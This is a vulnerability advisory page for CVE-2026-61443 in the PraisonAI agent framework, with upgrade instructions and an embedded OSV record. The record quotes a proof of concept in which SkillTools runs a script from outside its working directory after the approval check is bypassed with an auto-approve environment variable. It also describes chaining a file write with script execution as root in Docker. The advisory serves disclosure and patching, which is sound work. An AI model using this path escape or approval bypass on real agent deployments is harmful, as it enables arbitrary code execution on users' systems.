CVE-2026-61443: PraisonAI SkillTools Executes Scripts Without Path Vulnerability
HIGHCVE-2026-61443 is a HIGH (CVSS 8.1) skilltools executes scripts without path vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves skilltools executes scripts without path containment validation. Remediation is available by upgrading affected packages to version 1.6.78.
CVE-2026-61443 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-61443
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.78
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-61443, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61443 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.6.78
|
1.6.78
|
References
Frequently Asked Questions
What is CVE-2026-61443?
Which PraisonAI versions are affected?
What version fixes CVE-2026-61443?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-61443?
What CWE is associated with CVE-2026-61443?
How can I check PyPI dependencies for CVE-2026-61443?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c44f-37qr-gw3f",
"modified" : "2026-10-08T16:49:23Z",
"published" : "2026-10-08T16:49:23Z",
"aliases" : [ "CVE-2026-61443" ],
"summary" : "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation",
"details" : "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n script_path = os.path.expanduser(script_path)\n if not os.path.isabs(script_path):\n script_path = os.path.join(self._working_directory, script_path)\n script_path = os.path.abspath(script_path)\n\n if not os.path.exists(script_path):\n return f\"Error: Script not found at {script_path}\"\n\n # No path traversal check, no containment validation\n # Directly executes whatever is at that path:\n result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n # ...\n cwd = os.path.abspath(os.getcwd())\n if os.path.commonpath([absolute, cwd]) != cwd:\n raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n f.write(\"#!/bin/bash\\n\")\n f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n# PROOF_OF_EXPLOIT: Script executed outside jail\n# USER: anushkavirgaonkar\n# HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.78"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.6.77"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T16:49:23Z",
"nvd_published_at" : "2026-07-15T17:16:52Z"
}
}